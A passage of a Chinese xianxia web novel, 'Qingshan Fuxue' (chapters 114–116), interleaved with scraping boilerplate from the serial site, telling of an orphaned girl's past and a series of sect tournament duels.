由于他个子矮小,而餐桌却显得有些过高,所以每次吃饭的时候总是不太方便。 好在贴心的陈叔专门为他打造了一把带有靠背的高脚椅子。 自从有了这把椅子,赵玉洲可是高兴得不得了,整天到处向人炫耀,恨不得让所有人都知道他有这么一把独一无二的宝贝椅子。 他一边大口咀嚼着食物,一边含含糊糊地回答道:“不知道呀,姐姐只是说让你们先吃。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第114章 诉雨逐湘 江洵虽有疑虑,但看到沈亦行和秦念淑二人都坐下来吃饭了,那想必师父那边也不会有什么大事。 欸……不对。 那小孩儿呢? 沈亦行来的时候带着的那个小孩儿去哪了? “小碗儿……” 那小孩儿正怯生生地跟在江挽身后,声音细若蚊蝇。 尽管此时的天气赤脚走路并不寒冷,但这样的习惯终究不好。 她明明已经十岁了,可身形看上去竟与六岁的赵玉洲相差无几。 两人缓缓走进江挽的卧房后,江挽温柔地拍了拍床铺,示意她坐上去。接着,取过一床薄薄的被子,轻轻地盖在了她的双脚之上。 “沈亦行不给你买鞋穿吗?” 江挽一边轻声询问着,一边走到炉子旁,将上面一直温着的热水小心翼翼地倒进了一个木盆之中。 随后,她又从抽屉里取出一条洁白的帕子,轻柔地沾湿后,开始仔细地擦拭着池愿的小脚。 “有买的,我不喜欢。”池愿有些不好意思地低下头去。 并非是鞋子不好看亦或是不合脚而不喜欢,而是讨厌被鞋子束缚住双脚的感觉。 江挽抬起池愿的一只小脚,那原本应该娇嫩白皙的脚丫上,布满了一道道被石子和树枝划伤的细小伤痕。 这些伤痕纵横交错,有的甚至还微微渗着血丝,看起来令人格外心疼。 只听得“啪嗒”一声轻响,一滴晶莹的热泪毫无征兆地从江挽的眼眶滑落,滴落在池愿的脚背上。 泪水仿佛带着无尽的悲伤与怜惜,瞬间在池愿的心中掀起一阵涟漪。 “不疼的、也不冷,不要哭。” 池愿见状,急忙将身体往前探去,伸出双手轻轻捧起江挽的脸庞。 那双眸中盈满了愧疚与心疼之情,再也不见往日那熟悉而温暖的笑意。 明明小碗儿以前最爱笑的。 是在田野间尽情驰骋、欢快如风般奔跑的小碗儿;是面带微笑与左邻右舍闲谈家常的小碗儿;是用童言稚语把爷爷奶奶逗得眉开眼笑的小碗儿。 更是双颊绯红,说着长大以后要嫁给秋哥的小碗儿。 “为何不喜欢?”江挽询问道。 听到眼前人如此发问,池愿不禁蹙起秀眉,稍稍沉思片刻后,便从身旁的水盆中缓缓伸出一只脚丫子,踩在了木质的地板上,紧接着轻声回应道:“踏实!” 穿上鞋子之后,仿佛就在自己与广袤无垠的大地之间筑起了一道无形的屏障,这种若即若离的感觉令她烦躁且不安。 唯有当赤足直接接触到地面之时,那种脚踏实地、安稳可靠的触感方能给予她深深的归属感。 江挽闻言,没再多说什么。 只是伸出手将那只已经探出的小脚擦拭干净,又重新放回温暖的被褥之中。 “当初……是如何逃出去的?”江挽问道。 “阿娘。” 池愿的眼神渐渐变得黯淡无光,思绪也被拉回到了那段回忆里。 那群凶神恶煞之人闯入村庄的那一日,是他爹池诉雨毫不犹豫挺身而出,挡在了妻女面前,催促着白逐湘带上年幼的池愿先行撤离。 可仅凭他一己之力,又怎能抵挡住来势汹汹的一群高手?他一人所能拖延的时间实在太过短暂。 而白逐湘自生下孩子以后,就元气大伤,想要带着孩子逃跑,属实难于登天。 她抱着年幼的池愿一路奔逃,最终被逼到了悬崖边上,已然无路可退。 身后是深不见底的悬崖,身前步步紧逼的敌人。 白逐湘没有丝毫犹豫,迅速从体内取出自己的妖丹,将其轻柔地放入了池愿身体之中。 做完这一切后,她紧紧地闭上眼睛,用双臂牢牢抱住女儿,示意她不要怕。 而后纵身一跃,跳下了悬崖。 幸运的是,池愿活了下来。 不幸的是,世上再无白逐湘。 江挽低着头,声音颤抖地说道:“栖花里那日……是我的错,没能认出你。” 池愿只是微微一笑,轻轻摇了摇头,安慰道:“没关系,没关系。” 时光流转,岁月变迁,她依然如当年那般总是轻易地说出那句:“没关系没关系。” 待江挽情绪稍稍稳定后,池愿眨了眨眼睛,开口说道:“暮商宗。” 江挽闻言,不禁感到有些疑惑,“什么意思?” “萧济世。” 江挽顿时皱起了眉头,有些惊愕地追问道:“你是说那群人里,还有暮商宗的萧济世???” 池愿轻轻地点了点头,表示肯定。 她自生下来就和那些正常的小孩儿不一样。 一般来说,寻常孩子要长到三岁之后才能逐渐产生清晰的自我意识、明辨是非。可她几个月大的时候,就已经有自我意识了。 她能准确地分辨出哪些事情可以去做,而哪些又是绝对不能碰的红线。 不仅可以明白周围人所说的话是何含义,还很会察言观色,轻易的感知到身边人的情绪。 她也是后来才知道自己和别人是不一样的,她猜测这可能同她的母亲白逐湘有关。 这章没有结束,请点击下一页继续阅读!可白逐湘已经离世多年,纵使有许多问题想问,也无从问起了。 所以,对于萧济世的那张脸,她这辈子都不会忘。 那是突然闯入她家院子的领头人,那张脸,即便是历经岁月沧桑变迁,也始终如一地烙印在她的心底。 后来某一天,她在街头行乞之时,见到了那个人,他就坐在轿子里,掀起帘子同马车外的人讲话。 许是他杀的人太多,虽然看到了一直盯着他打量的池愿,也没有起任何疑心,甚至走的时候还让车夫扔了几块碎银给她们。 那时的她既恐惧又兴奋,但好在理智占了上风,并没有莽撞地冲上去找事儿,她知道那无疑是以卵击石,所以她只是默默低下头捡走了一块碎银。 江挽稍稍思考片刻后问道:“这件事儿,你有没有跟其他人提起过?” 池愿毫不犹豫地摇头回答道:“没有。” “也没同沈亦行提过?” “嗯。” “做得好。” 江挽欣慰的摸了摸池愿的头,并叮嘱她有关村子的人和事切记不可告诉任何人。 被夸的孩子羞涩的低下了头,再抬起头时,有些期待的问道:“留下......可以吗?” 她想留在江挽身边。 “现在不是时候,再等三年,你如今待在玉沙会更安全一些。” 江挽又何尝不想把她养在跟前儿照顾,但三阁并不是好的藏身之处。 “没关系没关系。”她不想江挽为难。 “饿不饿?”江挽想到这孩子还没吃饭。 “桂花糕。” “好。” “秋哥……” 她一直记得记忆中的那两年里,江挽日日都会站在银杏树下等一个叫秋哥的人回来。 “不等了,等不到了……” 江挽苦涩地笑了一声,转身将桌子上的桂花糕端了过来。 二人又聊了一会儿这些年发生的事情,估摸着秦念淑等人用完晚饭的时候,江挽才将后院儿的门打开,让池愿悄悄地溜出去。 “沈峥渡你认识吗?” 饭后,秦念淑散步消食儿的时候,问到身侧的沈亦行。 “听过,不过……他似乎并不插手江湖之事。” “隐世高人啊?” 沈亦行摇了摇头,脸上露出一丝思索之色。 要说起沈峥渡此人,他平日里虽不插手江湖之事,但却又和各路江湖人士有所往来。 若仔细盘算起来,那人其实有半只脚是踏进了朝堂之中,因为据玉沙查来的消息,那人私底下是替宁王办事的。 如此一来,顺着这层关系再细细梳理下去,一元宗背后真正的东家极有可能便是宁王。 那这可就有意思了,外界所传,宁王向来都是个闲散自在又毫无夺权之心的王爷。 试问哪个没有野心的王爷会绕过南宫世家再创建一个新的门派? 一旁的秦念淑突然撇了撇嘴,不耐烦地说道:“你们这些人心眼儿多得像蜂窝一样,整天这么弯弯绕绕的,让人看着心烦。” 说着,她脚下的步伐明显加快了几分,并回头狠狠地瞪了一眼沈亦行,示意他不要再跟上来了。 可沈亦行显然没明白她这是什么意思,刚要向前走的时候,就听那人说:“沈哥,我如今都要嫁做人妇,你就别再对我死缠烂打、纠缠不休了!我可不希望因为你而让我的萧郎心生醋意!” 听完这番话,沈亦行整个人停下了脚步。 她在说什么? 是眼瞅着婚期一天天临近,高兴过头了所以开始胡言乱语了是吗? 当秦念淑回到后院的时候,除了桌上那一盘吃的只剩渣渣的桂花糕以外,什么可疑地人都没看到。 “我说你怎么不去吃饭了,敢情是背着我们加餐了。” “哎呀,忘了给你留一块儿了。” 江挽嘴上虽这么说,但脸上可没有一丝愧疚之意。 “少装!”秦念淑才不信这人是真的忘了给她留。 次日清晨,阳光透过淡薄的云层,纷纷扬扬地落在大地上。 方震心情大好地走进校场,当经过那三人的席位时,他的目光不由自主地停留在那正昏昏欲睡的温如玉身上。 只见温如玉双眼紧闭,脑袋一点一点的,仿佛随时都会睡过去一般。 方震心中顿时涌起一股怒气,平日里当着自家人的面这样毫无体统也就算了! 可今日有那么多外来的客人即将落座观赛,他居然还敢明目张胆的睡大觉! 方震狠狠地瞪了一眼温如玉,然后迅速给身旁的傅霖使了一个眼色,示意他赶紧将温如玉叫醒。 傅霖收到指令后,无奈地叹了一口气,走到温如玉身边,拍了拍他的肩膀,“别睡了,比赛就要开始了。” 温如玉却毫不领情,他猛地一下拍开了傅霖的手,嘴里嘟囔着什么,然后换了个更舒服的姿势。 傅霖见此情形,不禁苦笑一声,凑近温如玉的耳朵低声说道:“师父,我这次只是拍拍您的肩膀,要是您不醒,下一次拍的可就是你的脸了……” 本小章还未完,请点击下一页继续阅读后面精彩内容!话音未落,只听温如玉突然怒吼一声:“小兔崽子,你敢!” 傅霖看他精神了,就赶忙向后退了几步,耸了耸肩,表示自己不敢造次。 与此同时,一阵急促的脚步声传来,打眼一看,是江洵一路小跑着赶到了校场。 眼下的他跑得气喘吁吁,额头上挂满了豆大的汗珠。 江挽见到他这般模样,不由得皱起眉头,“怎得才来?瞧你这满头大汗的样子。” 说着,她从怀中掏出一块手帕递给江洵,示意他赶快擦擦汗水。 江洵平日里可最是守时了,尤其是这种大事儿一般都会提前到,除非是路上有什么突发情况耽搁了。 “桂花糕!热乎的!”江洵像献宝一样,从怀里掏出来,小心翼翼地放在江挽桌前儿,生怕碎了。 他同秦在锦、蒋曌三人老早就起床跑山下去吃早饭了,回来的时候路过思糕坊还不忘给江挽带一份糕点。 江挽看着眼前的桂花糕,呆愣一会儿,忽的垂眸笑了,只是那笑并非只因感动,还掺杂着一丝无奈。 这一切自然被不远处的傅霖尽收眼底,可他也只能看着。 又是一轮紧张刺激的抽签开始了,众人都屏住呼吸,等着公布四人手中纸条上的名字。 而第一场比赛,就是主阁的姜南同二阁的陈最。 温如玉倒乐得自在,左右这四人中,没有一个是一阁的,那谁输谁赢,都与他无关,于是趁着方震正同人说话的时候,他又慵懒的坐回到椅子上。 只见主阁这边缓缓走上台来一位身姿飒爽、英姿勃发的女子。她高高束起的马尾随风飘动,一身利落的装扮更是凸显出其干练的气质。 此女名为姜南,乃是三年前入阁的弟子之一。虽年纪轻轻,但实力却是不容小觑,此次也是她首次参加弟子大会。 姜南手持一柄细长的银剑,剑身通体闪烁着耀眼的银光,仿佛散发着丝丝寒气,让人不寒而栗。 而站在姜南对面的,则是来自二阁的陈最。 说来也巧,这陈最与乔决是同年入阁的弟子,如果按照辈分而论,姜南或许还得尊称他一声师兄。 只可惜,相比于乔决那八面玲珑、处世圆滑的性格,陈最可就要木讷许多了。 正因如此,二阁的其他弟子对他并不是特别亲近,自然也就很少有人愿意围在他身边打转。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第115章 昭然若揭 此刻,赛场上一片寂静,两人面对面站立着,全程一言不发。 在一阵激昂的鼓声响起之后,二人同时向对方抱拳施礼,表示尊重。 当再次抬起头望向彼此之时,眼神之中已然不见半点同门之间的情谊。 说时迟那时快,就在众人还未完全反应过来之际,姜南突然身形一动,如同离弦之箭般急速冲向陈最。 手中的银剑在空中划过一道优美的弧线,带着凌厉的剑气直逼陈最而去。 面对姜南迅猛的攻势,陈最不敢有丝毫大意,连忙侧身一闪,顺势挥动手中的长刀进行抵挡。 刹那间,刀剑相交之处迸发出一串耀眼的火花,清脆的撞击声响彻整个校场…… 姜南腾空而起,向后翻越,陈最瞅准时机挥刀砍去,姜南举剑欲挡,但力量悬殊,她的长剑被一点点的压制下去。 眼看快要输的时候,姜南凤眼微眯,只见她以左脚为轴,右腿横扫,打算将陈最踢倒在地。 陈最瞬间察觉出她的想法,收刀向后退去,待拉开一段距离之后,才再次挥刀向前。 姜南一个闪身躲开,随后刺出一剑,正中陈最的手臂。 陈最吃痛的同时被扰乱了步伐,他没想到眼前这姑娘来真的! 姜南不理会那人脸上的惊讶,继续发起攻击,其剑法凌厉,以一招“长虹贯日”,在刺到陈最胸口之时停了下来。 台下的观众纷纷叫好,掌声雷动。 江洵看着台上的姜南,心中暗赞:此女剑法精妙,实力不容小觑。 他转头看向江挽,发现她的目光也一直落在姜南身上,眼神中透露出一丝欣赏。 二人下台的时候,姜南看向陈最,言辞冷漠道:“比赛就是比赛,点到为止已是仁慈,若还畏手畏脚的又有什么好比的?” 这话说的没问题,更何况陈最确实是容易心软之人,哪怕姜南当时不打算踢他一脚,他也想收刀后退。 但人姑娘不仅没有丝毫慌乱,反而瞬间就想到了反击的法子。 他从来都不会为自己的输找理由,那自然也不会为他人的赢找借口。 台上又进行了几场比试以后,终于让方震抽到了写有傅霖名字的小纸条。 这字儿一看就是出自温如玉之手,写的龙飞凤舞的。 而他的对手则是温如玉手中的纸条——许廷宽。 云璟一个没忍住直接笑出声来,真是天道好轮回啊!! “放宽心啦温兄!这场怎么说也都是你们一阁的弟子晋级!” 许廷宽被傅霖拽着衣袖走到了台上,那人想要投降的话还未说出口就被傅霖一个眼神制止了。 投什么降啊!过两招儿啊! 许廷宽欲哭无泪,他不想过两招儿,这没什么好过的! “师弟,放轻松,师兄又不会吃了你。”傅霖笑着说道。 许廷宽撅着嘴反驳回去:“那师兄还是吃了我吧……” “这话说得,师兄让让你,不用剑,可以不?” 傅霖哄小孩似的让他站到自己对面去,然后示意击鼓之人,比赛可以开始了。 “咚——” 鼓声响起,许廷宽已然没有回头路了。 二人相对而立,台上已无方才那会儿轻松地氛围。 许廷宽深吸一口气,体内的灵力如同溪流一般流转起来。 他口中念念有词,随着引风诀的召唤,原本晴空万里、风和日丽的天空骤然间风云变色。 平静无波的空气像是被一只无形的大手搅动着,整个校场上空开始泛起丝丝缕缕的轻风。 站在校场中央台上的许廷宽,一袭白色长袍迎风猎猎作响,衣袂翻飞,整个人宛如与那股轻风融为一体,衣衫上的红梅更是被风吹得翩翩起舞。 许廷宽身影一晃,瞬间消失在了原地,只能看见一道模糊不清的残影。 与此同时,一直在关注许廷宽动作的傅霖,在风起之时不禁浮现出一丝讶异之色。 他显然没有料到,自己这位小师弟对于风属性灵力的掌控竟已经到了如此娴熟的地步。 若是与同届的其他弟子相较量,凭借着这般出色的实力和灵力,许廷宽或许真有可能成功晋级下一阶段的比试。 可偏偏让他在抽中了自己。 说时迟那时快,许廷宽的身影犹如鬼魅一般突兀地出现在了傅霖的身后。 只见他手掌一翻,一股强大的灵力凝聚于掌心,毫不留情地朝着傅霖的后背狠狠拍去。 面对这突如其来的一击,傅霖依旧是临危不乱,镇定自若。 傅霖似乎是早就洞察到了许廷宽的行动轨迹,非但没有选择躲避,反而迅速转过身来,正面迎上了对方拍来的那一掌。 刹那间,双掌相交,发出一声沉闷的巨响。 单纯比拼灵力深厚程度,许廷宽显然不是傅霖的对手。 果不其然,仅仅一个照面,许廷宽便感觉一股排山倒海般的力量顺着手臂传来,令他胸口气血翻腾,身体不由自主地向后倒退了好几步才勉强稳住身形。 傅霖自然不会给许廷宽丝毫喘息之机,趁着对方立足未稳,他脚下步伐一动,化掌为拳朝着许廷宽猛扑过去。 这章没有结束,请点击下一页继续阅读!一时间,拳影腿风交织在一起,形成了一张密不透风的攻击网,将许廷宽紧紧笼罩其中。 许廷宽不敢有丝毫怠慢,施展出浑身解数,左躲右闪,竭尽全力想要避开傅霖那如狂风暴雨般凌厉无比的连续攻势。 就在许廷宽渐渐体力不支之时,傅霖停下了攻击,拉开了一些距离,以为那人要对他说句什么。 只见他面色凝重,双眸紧盯着前方不远处的傅霖,双指微微闭拢。 随着引风诀的召唤,一道肉眼可见的风刃凭空出现,并以惊人的速度朝着傅霖的背部呼啸而去。 此时,坐在一旁观战的温如玉也不禁被这突如其来的变故所吸引,心跳陡然加速,甚至不自觉地停止了呼吸。 如果这道风刃真的击中了傅霖,那后果将不堪设想,恐怕他很难安然无恙地撑过接下来几天的比试。 可最让温如玉感到不解的是,许廷宽为何会使出如此狠辣的招式? 当真是被傅霖逼得无招可用了??? 就在傅霖侧身躲开这致命一击时,令人意想不到的事情发生了。 只见许廷宽突然身形一闪,迅速地朝着傅霖躲闪的方向冲了过去,同时右手猛地一挥,又是一记刚猛无比的掌力直直地朝着傅霖拍去。 面对这一连串的攻击,傅霖脸上露出了一丝惊讶和难以置信的神情。 他怎么也想不到,曾经那个在自己眼中心思单纯、善良无邪的小师弟眼下竟变得如此凶狠狡诈。 可时间已经容不得他多想,眼看着许廷宽的掌力即将临身,他连忙运转体内真气。 与此同时,台下的温如玉早已紧张到了极点,紧紧握着拳头,掌心不知不觉间已渗出了一层细汗。 无论是傅霖还是许廷宽,都是他的得意门生,所谓手心手背都是肉,他实在不愿意看到任何一方受伤。 尤其是傅霖,作为他的亲传弟子,更是寄予厚望。 而另一边,江洵也没明白这个许廷宽究竟是意欲何为,难不成之前那些都是装的?? 那他演技也太好了!简直比他还厉害! 傅霖迅速调整好自己紊乱思绪,灵力如潮水般源源不断地注入拳头,带着破风之势直击而去。 就在那掌与拳相触的一刹那间,仿佛整个校场都被撕裂开来,狂暴的劲风呼啸而起,形成一股强大的气流旋涡向四周席卷而去。 一时间飞沙走石、烟尘弥漫,让人几乎睁不开眼睛。 而这股惊人的力量仅仅持续了片刻,便如同昙花一现般逐渐消散,周围再次恢复了平静。 许廷宽脸色苍白如纸,身体摇晃着向后退了几步,终究还是支撑不住单膝跪地。 他败了,而且败得如此彻底。 不仅灵力远远比不上傅霖,更是在交手时遭受了强烈的灵力反噬。 一口鲜血从他口中喷涌而出,染红了身前的地面。 此时鼓声响起,宣告着这场比试的结束。 一直紧绷着心弦的温如玉听到这声音后,那悬着的心才终于稍稍放松下来。 他下意识地低头看向自己的掌心,却发现上面早已布满了细密的汗珠。 而获胜后的傅霖并没有上前去搀扶许廷宽,更没有关切地询问他的伤势状况。 相反,他只是默默地侧身让开一段距离,然后淡淡地说道:“承让。” 说完这句话后,便毫不犹豫地转身离开了高台,只留许廷宽还跪在原地。 傅霖是真的认为许廷宽为人单纯善良,因此平日里总是对他诸多照顾;他也清楚许廷宽修为尚浅,所以在相处过程中也会尽量迁就忍让。 或许今日之事于许廷宽来说是一时的无心之失,但他眼中那几欲满溢而出的勃勃野心,却是无论如何都难以掩饰的。 “没事吧?”温如玉快步走到傅霖身边,一脸担忧地开口问道。 面对温如玉突如其来的关怀,傅霖先是微微一愣,随即便露出一抹惊讶之色。 他那双狭长的眼眸微微眯起,嘴角上扬勾勒出一抹戏谑的笑容,轻笑道:“师父......您不应该先去关心一下廷宽吗?怎么反倒先来问候我这个胜者了呢?” 无论怎么看,都是那许廷宽更严重一些,脸色都苍白了不少。 温如玉瞪了他一眼,示意他少说两句,而后才派人跟着元春去看许廷宽的伤势。 有野心是好事,甚至有心计也是好事,可这些都不应该用到自己人身上。 他站的远,不知道许廷宽是真的想对傅霖出手,还是说太想表现自己,所以一时之间才失了分寸。 但无论怎么说,他日后都不会再同往日那般心无防备地对待许廷宽了。 第一层选拔以段千寒的胜利结束,如今四阁加起来晋升的弟子约莫有一百多名。 下一层的比试依旧是按照抽签来定,四人中只晋级一位。 而当晋升席上还坐着二十位弟子之时,则需改变比试规则,改为俩俩对决,以此来选出最后十位。 主阁目前晋升前十的弟子有两位——姜南和易为春。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!同三阁晋升的数量一样,只有江洵和段千寒。 而另外六位则是在一阁和二阁之间,分别是一阁的傅霖、莫图岚及梁浅;以及二阁的乔诀、边叙和祝声笙。 最后的十位参赛者的名字会被镌刻在一块光滑的木牌之上,当准备就绪之后,木牌会被彻底打乱顺序。 首先出手的是老阁主,只见他气定神闲地拿起一支毛笔,饱蘸墨汁,然后毫不犹豫地在其中四块木牌上写了各不相同且位于十以内的数字。 紧接着,轮到三位小阁主下数。 他们依次按照既定的顺序,每人负责填写两个尚处于空缺状态的数字。 随着所有数字的尘埃落定,最终的对战名单也随之揭晓。 根据规则,这些数字将以一种独特的方式进行组合,例如壹拾、贰玖、叁捌等等,以此来确定每一对选手之间的对决。 江洵背后的数字是壹,而与他对阵的正是数字拾的边叙;另一边厢,傅霖的数字为伍,他即将面对的则是手持数字陆的易为春。 当比试名单正式公布于众时,时间已经不知不觉流逝,此刻天色渐晚,又到了该散场的时候了。 在过去的这几天里,那些远道而来的客人们早已对献岁阁内部的布局和方位了然于心,因此不用人带也不会迷失方向。 于是乎,秦在锦等人便直接从客席的位置起身,朝着三阁的方向缓缓走去。 此时的江洵却显得有些步履蹒跚,他小心翼翼地跟在江挽的身后,一步一趋,仿佛有什么难以启齿的心事。 “师父……” 听到呼喊声,江挽停下脚步,转过身来,目光温柔地望向江洵,轻声问道:“怎么了?” “我若是得了第一......可就是要挑战你了。” 江洵说这话的时候并没有太多的底气,不知道是对得第一没有底气,还是对挑战江挽没有底气。 江挽看他那扭扭捏捏的模样,笑出了声:“你想说的不是这个吧?” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第116章 三六九等 得第一然后挑战她对江洵来说并非是什么不好意思说出口的话,可那人却酝酿了许久,说明他真正想说的话并没有讲出来。 “嗯。”被戳穿心事的少年摸了摸头,腼腆的笑了。 “如果此次我能拿个第一回来,师父愿意陪洵儿过个任务吗?什么等级的任务都可以。” 他最初的心愿就是想同三阁的人一起出个任务,可大家的时间总是凑不到一块儿去。 尤其是陈叔,他这两年日日待在山上教导新入门的弟子,几乎不怎么离开献岁山。 而在上荷做任务时,江挽当时也只是站在中律司等他,并没有踏进上荷半步,所以那便算不得是一同出任务。 江挽思考了一瞬,想开口拒绝之时,却看到了少年满眼的期待。 “可以。” “那一言为定!”江洵瞬间笑开了花,随后又做了个请的手势,示意江挽继续走在前面。 等到吃饭的时候,就连冬苓抢了他手中未动的鸡腿时他都十分大方的没有计较。 “你这是怎么了?”秦在锦凑近江洵悄声问道。 他从江洵进门的时候就察觉出江洵那开心的情绪,虽说晋级到前十是应该高兴一下,可也至于这么开心吧,这前十后面还有前五、前三在等着他呢。 “不会是你师父偷偷给你留了什么必胜秘诀了吧?”秦在锦追问道。 江洵“啧”了一声,“我师父是那种人吗?” 秦在锦想了一下,摇了摇头,好像不是。 “那你笑什么?” “先不告诉你!” 一件事情,在尚未办成功之前,他始终都秉持着秘而不宣的原则。 在他看来,这般行事,可以最大程度地减少不必要的麻烦。 比如说亲人的失落,和小人的嘲讽。 翌日清晨,依照既定的出场次序,率先登台的便是江洵和边叙二人。 谁也没想到,二阁那位名不见经传的小师弟竟然能够一路过关斩将,成功挺进前十。 边叙此次所用之佩剑依然是乔诀的那把,江洵看着沉影,突然有个疑问。 如果是乔决抽到了边叙,他还会将自己的沉影借给边叙吗? 那到时候二人怎么打?赤手空拳?那不能吧。 而且,他可不认为二阁中除了乔诀以外,还会有人愿意把自己的佩剑心甘情愿地借给边叙使用。 不过这也是他的猜想罢了,毕竟边叙此次是已经没机会对战乔决了。 站在对面的边叙在看到江洵依旧使用匕首的时候,不禁挑了下眉,似乎在思考那人是不是低估了他。 他可同台下那群失败者不一样。 边叙冷哼一声,一个突刺冲向江洵,单以重量来说,匕首又怎么可能敌过他手中的这把重剑。 可江洵就是站在那里,不闪也不躲,直直挡下了这一击。 预想中的绝对性压制并没有来临,反倒是江洵,巧妙地调整匕首的方向,反过来压制了沉影的剑刃。 边叙微眯起眼睛,这么拖下去可不是办法,于是不再消耗灵力,选择撤回沉影,同前人拉开距离。 身形稳稳站定之后,边叙面色凝重,双手迅速地捏出一个繁复的法诀。 随着他的动作,沉影如同受到召唤一般,悄无声息地腾空而起,缓缓移至他的胸前。 刹那间,无数道寒光闪烁的剑影如流星般激射而出,带着凌厉的气势直奔江洵而去。 面对这突如其来的攻势,江洵毫不慌乱。 他反手握住手中的长刀,身形一闪,以令人瞠目结舌的速度瞬间绕到了边叙的身后。 这一系列动作行云流水,快如闪电,让人几乎无法捕捉到他移动的轨迹。 然而,那些袭向江洵刚才所在位置的剑影,却并没有因为目标的消失而停止前进。 它们依然保持着原有的速度和力量,一路疾驰,径直冲向了如今的客席区域。 眼看着这些锋利无比的利剑就要击中毫无防备的众人时,一声低沉而威严的声音响起:“止。” 话音落下,原本急速飞驰的数十道剑影像是被施了定身咒一般,硬生生地停在了半空中。 紧接着,只在眨眼之间,这些剑影便凭空消失得无影无踪,仿佛从未出现过一般。 再看江洵这边,他的匕首此刻已经稳稳地架在了边叙的脖颈之上。 而边叙整个人都还处于一种呆滞的状态之中,显然还没有从刚刚发生的一连串变故中回过神来。 他瞪大双眼,心中充满了疑惑和不解。 他根本就没有看清江洵究竟是在何时变换了位置,又是如何在如此短的时间内神不知鬼不觉地来到了自己的身后。 更为让他感到困惑的是,自己所发出的那阵剑影怎么突然间消失得干干净净? 见鬼了???? “你有天赋,同时,你也年少。” 江洵面色平静地说完这句话后,便转身缓缓走下了台子。 因为拥有过人的天赋,所以才能一路过关斩将,站到如今这个高度。 也正是由于年纪尚轻、阅历不足,使得他眼下也只能站在这个高度。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“方才多谢沈哥出手相助。” 江洵快步走向端坐在那里的沈亦行,恭敬地向其施了一礼。 若非沈亦行的风止令恰到好处地施展出来,及时止住了那凌厉的剑影,恐怕那剑势还不知会殃及多少无辜之人。 虽说造成此番状况并非直接由江洵所致,但毕竟也是因他的躲避而间接引发的。 沈亦行微微抬起眼眸,目光落在眼前这位谦逊有礼的少年身上,仿佛想起了某些往事。 随后,他嘴角不自觉地上扬,勾勒出一抹淡淡的笑意,轻声回应道:“无妨,顺手为之罢了。” 时间悄然流逝,大约过了半炷香之后,另一场激烈的比试紧接着拉开帷幕。 只见傅霖不紧不慢地迈着步子,晃晃悠悠地走上了台子。 他一副睡眼惺忪的样子,都要归咎于昨儿晚上许廷宽一直赖在他的房间里不肯离开。 那人一个劲儿地向他赔礼道歉,表示自己当时只是一时冲动失去理智,绝非有意想要加害于他。 傅霖虽不想深究那人说的是不是真的,也不在意自己付出去的关心有没有得到回馈。 毕竟师门情谊这种东西,他给的起,也收得回。 但是转念一想,若来日他出任务之时,这人就会在他看不到的地方日日伴在温如玉身侧,他越想越觉得放心不下。 眼下闹翻脸可不是一个好的法子,于是最终只能敷衍着说原谅他了,让他赶紧滚回房睡觉。 而再看那易为春也是顶着一副黑眼圈,边走边打着哈欠,等看到傅霖上台以后,他才懒散的施了一礼。 他是没想到自己能进前十啊!!!以他的能力应该在第二轮就被淘汰了才对啊! 怎么回事?难不成时来运转了? 可当看到自己的对手是傅霖的那一刻,他已经想好了用什么样的姿势投降了。 可姜南却偏偏不遂他的意,半夜还抓着他去练剑。 老天爷,临时抱佛脚有用的话,那别人还用得着寒窗苦读十年吗?! 可他敢怒不敢言,毕竟姜南打起人来丝毫不会手软。 鼓声响起,傅霖召出了行野,易为春瞬间瞪大了眼睛。 嗯???没记错的话,这人前几场比试的时候压根没有用过剑吧,怎么到了自己这儿就开始用剑了??? 他是什么很值得尊重的人吗? 他不是!!! 傅霖略带疑惑的看着眼前的人,不明白他那是什么表情。 “那个......咱能比点儿别的不?”易为春支支吾吾的说道。 “你想比什么?”傅霖问道。 “赤手空拳打一场???” 只要不用剑一切都好说,这一剑砍下去,那不得当场见血??? 不好不好,太不吉利了! 傅霖虽不眼前这人究竟意欲何为,可他面上却并未流露出丝毫抵触之意,只是轻轻一挥衣袖,便将行野召回。 此刻,二人面面相对,彼此皆是赤手空拳,毫无兵刃在手。 只见易为春身形疾驰而出,其拳法更是快若疾风,裹挟着凌厉之势径直朝着傅霖猛扑过去。 面对这来势汹汹的攻势,傅霖脚下步伐灵动,犹如鬼魅一般左闪右避,轻而易举地就躲开了易为春一轮又一轮的攻击。 一时间,场上人影交错,拳掌翻飞,双方你来我往,互不相让。 两人所施展出来的招式变化多端、诡异难测,直叫观战之人看得目不暇接、眼花缭乱。 但若是细细观察一番,便可察觉出其中一人在应对之时略显吃力,出招之间稍有破绽;而另一人则始终气定神闲、游刃有余,攻守之间尽显大家风范。 易为春因久攻不下略微心急,不觉间距离台子边缘稍稍靠近了一些。 说时迟那时快,傅霖瞅准这个瞬间,猛地发力轰出一记重拳,直直命中易为春的胸口部位。 遭受如此重击,易为春顿觉胸口一阵剧痛袭来,身体不由自主地向后倒退数步。 由于重心不稳,他的脚步一个踉跄,整个人竟是直接从台子上跌落下去。 这突如其来的变故使得台下弟子一片哗然,尤其是那些主阁的弟子们,更是忍不住发出阵阵失望的叹息之声。 “哎呀呀!这!!!哎呀!”站在姜南身旁的一个弟子看到后,翻了个白眼。 姜南冷漠的盯着那人,“怎么了?他起码现在摔下去的,我没记错的话,你第一轮就摔下去了吧。” “我又没说什么......”那人不敢同姜南多说什么。 直到比赛结束,傅霖都没明白易为春的目的是什么,那人难不成就是来玩的?走个过场? 许廷宽看到傅霖走下台子后,瞬间冲上前递上了自己提前倒好的温茶,抬眸笑着说道:“我就知道师兄会赢的!” 傅霖接过那个人递过来的茶水,却并没有像往常那样立刻饮下,而是不经意地将茶杯轻轻放在了温如玉的桌子上。 同时,还用眼神示意温如玉:别喝,寻个时机倒掉。 温如玉心里虽认为傅霖有些多虑,但也明白眼下这个阶段,尤其是派出去调查许廷宽身世的探子还未归来之前,行事谨慎一些总归不会有错。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!毕竟,之前在询问许廷宽身世时,他也只是随口一问,所以事实如何,他并不在意。 可现在回想起来,许廷宽当时的回答实在是含糊不清,甚至可以说是漏洞百出。 另一边的江洵蹲下身来,为江挽斟满一杯热茶,轻声问道:“师父觉得段师兄这次有胜算么?” 江挽微微皱起眉头,沉思片刻后缓缓说道:“如果他的对手是易为春,或许还有一线晋级的希望。只可惜......是乔诀。” 说到这里,江挽不禁轻轻叹息一声。 